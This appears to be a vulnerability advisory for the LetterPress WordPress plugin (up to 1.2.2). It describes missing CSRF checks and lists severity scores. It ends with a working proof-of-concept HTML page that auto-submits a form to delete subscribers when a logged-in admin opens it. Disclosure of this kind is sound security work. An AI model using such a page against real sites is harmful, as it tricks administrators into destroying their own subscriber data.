LetterPress <= 1.2.2 - Subscriber Deletion via CSRF

2024-04-1800:00:00

Bob Matyas

letterpress

csrf

subscriber deletion

poc

exploit

security

6.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks, such as delete arbitrary subscribers

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=letterpress-subscribers" method="POST">
        <input type="text" name="subscriber[]" value="1" />
        <input type="text" name="action" value="delete" />
        <input type="text" name="action2" value="delete" />
        <input type="submit" value="submit">
    </form>
</body>
```